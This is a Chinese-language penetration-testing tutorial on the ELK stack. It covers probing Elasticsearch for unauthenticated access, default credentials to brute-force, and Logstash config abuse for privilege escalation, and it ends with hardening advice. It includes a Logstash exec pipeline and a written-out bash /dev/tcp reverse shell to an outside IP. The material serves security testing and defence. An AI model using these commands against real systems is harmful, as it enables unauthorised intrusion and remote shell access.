ELK在渗透测试中的利用与安全配置解析
字数 1745 2025-08-05 12:50:18
ELK在渗透测试中的利用与安全配置解析
1. ELK简介
ELK是三个开源项目的集合:
- Elasticsearch:存储数据并提供快速搜索引擎
- Kibana:图形界面,用于分析和可视化Elasticsearch中存储的数据
- Logstash:从不同来源收集数据并保存到Elasticsearch中
2. 重要配置文件
| 组件 | 配置文件路径 |
|---|---|
| Elasticsearch | /etc/elasticsearch/elasticsearch.yml |
| Logstash | /etc/logstash/logstash.yml/etc/logstash/pipelines.yml/etc/logstash/conf.d/* |
| Filebeat | /etc/filebeat/filebeat.yml |
| Kibana | /etc/kibana/kibana.yml |
注意:这些配置文件中可能包含用户凭证,在渗透测试中值得重点关注。
3. Elasticsearch未授权访问检测与利用
3.1 检测方法
-
默认开放9200端口,通过HTTP协议访问:
curl -X GET "localhost:9200/"如果返回内容中包含
"You Know, for Search",则可能存在未授权访问。 -
检查身份验证状态:
curl -X GET "localhost:9200/_xpack/security/user"- 如果返回用户列表,则身份验证被禁用
- 如果返回错误信息,则身份验证已启用
3.2 利用方法
3.2.1 未授权访问情况
-
获取版本信息:
curl -X GET "localhost:9200/" -
常用API查询:
curl 'localhost:9200/_cat/indices?v' # 列出所有索引 curl 'localhost:9200/_plugin/head/' # 访问head插件 curl 'localhost:9200/_cat/nodes?v' # 获取集群节点列表 curl 'localhost:9200/_nodes?prettify' # 节点设置 curl 'localhost:9200/_status' # 查看状态 curl 'localhost:9200/_search?pretty' # 查询所有索引(默认前10条) curl 'localhost:9200/zjftu/_search?pretty' # 查询特定索引
3.2.2 启用身份验证情况
-
尝试暴力破解内置用户(默认密码):
- elastic (超级用户,旧版本默认密码changeme)
- logstash_system
- kibana_system
- apm_system
- beats_system
- remote_monitoring_user
-
尝试匿名访问(用户名可能是_anonymous)
-
使用API密钥:
curl -H "Authorization: ApiKey" localhost:9200/ -
获取用户权限信息:
curl -X GET "localhost:9200/_security/user/<USERNAME>" curl -X GET "localhost:9200/_security/user" # 列出所有用户 curl -X GET "localhost:9200/_security/role" # 列出所有角色
4. Kibana渗透测试
- Kibana默认运行在5601端口
- Elasticsearch中的用户权限与Kibana相同
- 如果Elasticsearch禁用身份验证,Kibana也可能无需凭据访问
- 检查配置文件
/etc/kibana/kibana.yml可能发现凭证
5. Logstash渗透测试与安全配置
5.1 配置文件
- 主配置文件:
/etc/logstash/pipelines.yml - 示例配置:
- pipeline.id: main path.config: "/etc/logstash/conf.d/*.conf" - pipeline.id: example path.config: "/usr/share/logstash/pipeline/1*.conf" pipeline.workers: 6
5.2 权限提升利用
方法一:直接执行命令
前提条件:
- 对.conf文件有写权限,或能修改
/etc/logstash/pipelines.yml - 能重启logstash服务,或配置了
config.reload.automatic: true
利用方式:
在配置文件中添加:
input {
exec {
command => "whoami"
interval => 120
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
}
如果配置了config.reload.automatic: true,修改会自动生效;否则需要重启服务。
方法二:通过grok解析执行命令
- 修改配置文件:
filter.conf:
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
input.conf:
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
output.conf:
output {
if [ type ] == "execute" {
stdout { codec => json }
exec { command => "%{comando} &" }
}
}
- 创建触发文件:
echo "Ejecutar comando: bash -i >& /dev/tcp/10.10.16.65/1234 0>&1" > /opt/kibana/logstash_1.txt
- 使用nc监听端口1234等待反向shell连接
5.3 Grok语法说明
基本格式:%{SYNTAX:SEMANTIC} 即 %{正则:自定义字段名}
官方正则参考:https://github.com/logstash-plugins/logstash-patterns-core/blob/master/patterns
调试工具:http://grokdebug.herokuapp.com
6. 安全配置建议
-
Elasticsearch:
- 启用身份验证
- 修改默认端口9200
- 限制网络访问
- 更改默认凭证
-
Kibana:
- 配置身份验证
- 检查
kibana.yml中的敏感信息 - 限制访问IP
-
Logstash:
- 严格控制配置文件权限
- 禁用自动重载配置(
config.reload.automatic: false) - 限制能修改配置的用户
-
通用建议:
- 定期更新ELK组件
- 监控日志文件
- 实施最小权限原则